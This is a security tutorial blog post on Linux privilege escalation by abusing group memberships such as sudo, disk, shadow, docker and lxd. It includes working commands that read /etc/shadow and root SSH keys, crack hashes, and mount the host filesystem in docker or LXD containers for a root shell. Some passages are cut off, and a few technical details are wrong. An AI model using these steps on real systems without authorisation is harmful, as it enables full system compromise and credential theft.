Guides, Linux, Privilege Escalation

Linux Privilege Escalation – Exploiting User Groups

February 14, 2021 | by Stefano Lanaro | Leave a comment

Introduction

In Linux, groups are an attribute that can be allocated to users to allow them to access certain files/binaries or perform certain actions in the operating system.

Some groups, when assigned to a given user, can allow them to perform actions that go beyond their usual privileges and potentially escalate privileges to root.

Identifying User Groups

In order to identify the groups the current user belongs to, the following command can be used:

id -Gn

Alternatively, the groups command will obtain the same result:

It stores user group information and defines the groups to which users belong. It contains:

Each line represents one group and is made of the following elements:

  1. Name: It is the name of group.
  2. Password: similar to the one stored in /etc/passed but contains group passwords, generally not used, hence it is empty/blank.
  3. Group ID (GID): the unique identifier for the group.
  4. Group List: A list of users who are members of the group.

Exploitable groups

The following groups can be exploited in some shape or form to perform restricted actions:

Automated enumeration scripts will also identify current groups and potentially flag vulnerable ones:

Root

The root group doesn’t serve any specific purpose, it simply gives users access to root group files and binaries, which don’t fall under any specific categories.

There are many ways to exploit this vulnerability, such as modifying the /etc/passwd file, adding new root SSH keys, viewing and cracking system passwords and more.

Sudo/Admin & Wheel

The sudo/admin (in Debian derivatives) or wheel (in CentOS/RedHat derivatives) group is a special user group used to control access to the su or sudo commands, which allow users to either execute commands or masquerade as another user (usually the super user).

An example to exploit this group is by simply executing “sudo su”, which will login as root:

Alternatively, a shell can be run as root by using the sudo command and executing /bin/bash or similar binaries

Video

The video group can be used locally to give a set of users access to a video device or to the screen output.

This could be exploited by taking a screenshot of the current screen output and gathering any private information such as user passwords or hashes.

The following commands can be used to grab the raw output of the current screen and gather the current resolution settings (height and width):

cp /dev/fb0 /tmp/fb0.raw
width=$(cat /sys/class/graphics/fb0/virtual_size | cut -d, -f1)
height=$(cat /sys/class/graphics/fb0/virtual_size | cut -d, -f2)

The following perl script can then be used to convert the .raw file to an actual image

#!/usr/bin/perl -w

$w = shift || 240;
$h = shift || 320;
$pixels = $w * $h;

open OUT, "|pnmtopng" or die "Can't pipe pnmtopng: $!\n";

printf OUT "P6%d %d\n255\n", $w, $h;

while ((read STDIN, $raw, 2) and $pixels--) {
   $short = unpack('S', $raw);
   print OUT pack("C3",
      ($short & 0xf800) >> 8,
      ($short & 0x7e0) >> 3,
      ($short & 0x1f) << 3);
}

close OUT;

If the pnmtopng binary (part of the netpbm package), which is being used by the script isn’t installed, the .raw file can be converted through an online converter or it can be opened with GIMP, selecting RAW image data as file type:

Disk

The disk group provides users with access to the raw data contained in disks and partitions.

Because of this, users may be able to view and potentially write to restricted files. The following command can be used to view the available partitions:

df -h

DebugFS is a simple-to-use RAM-based file system specially designed for debugging purposes. It can be used to access files within a given partition:

debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow

Note that using debugfs you can also write files. For example to copy /tmp/asd1.txt to /tmp/asd2.txt you can do:

debugfs -w /dev/sda1
debugfs:  dump /tmp/asd1.txt /tmp/asd2.txt

However, if you try to write files owned by root (like /etc/shadow or /etc/passwd) you will have a “Permission denied” error.

Shadow

The shadow group is required for the Linux shadow functionality to work, which is used to administer user passwords.

It is supposed to be accessible by the root user only, but because multiple users may be in the root group, the shadow group was created.

Since users in this group have access to view the /etc/shadow file, this can be exploited by cracking password hashes found in it.

Once extracted, the hashes can then be cracked using tools such as Hydra or John the Ripper:

john --wordlist=wordlist_file hashes_file

Adm

The Adm group is used in Linux for system monitoring tasks. Members of this group can read many log files in /var/log, and can use xconsole.

This could be exploited as confidential information such as user passwords can sometimes end up in certain application or system logs.

Docker

Docker is a platform that uses OS-level virtualization to manage applications in packages called containers.

The docker group is used to grant users access to manage, create, edit or delete docker containers.

To exploit this, the existing file system can be mounted as a container, allowing users that are part of the docker group to edit any files within the file system, for example the /etc/passwd file, as explained in this article.

Mounting the current file system on /mnt in a bash container granted a root shell:

docker run -it --rm -v $PWD:/mnt bash

It can also be achieved using chroot and the alpine image container:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Or use the following docker image from chrisfosterelli to spawn a root shell

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

LXC/LXD

The LXC/LXD groups are used to allow users to create and manage Linux containers. These can be exploited by creating a root-level privilege container and interacting with it, executing bash and therefore starting a root shell.

Build an Alpine image and start it using the flag security.privileged=true, forcing the container to interact as root with the host filesystem:

# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
./build-alpine -a i686

# import the image
lxc image import ./alpine.tar.gz --alias myimage

# run the image
lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh

Alternatively, this automated exploit can do the leg work for us: https://github.com/initstring/lxd_root

Conclusion

Groups in Linux should be allocated very carefully, and should limit access based on the tasks a given user is required to perform.

Users should only be allocated to the above groups when absolutely necessary, as they could result in a full system compromise.

Sources & Additional Links: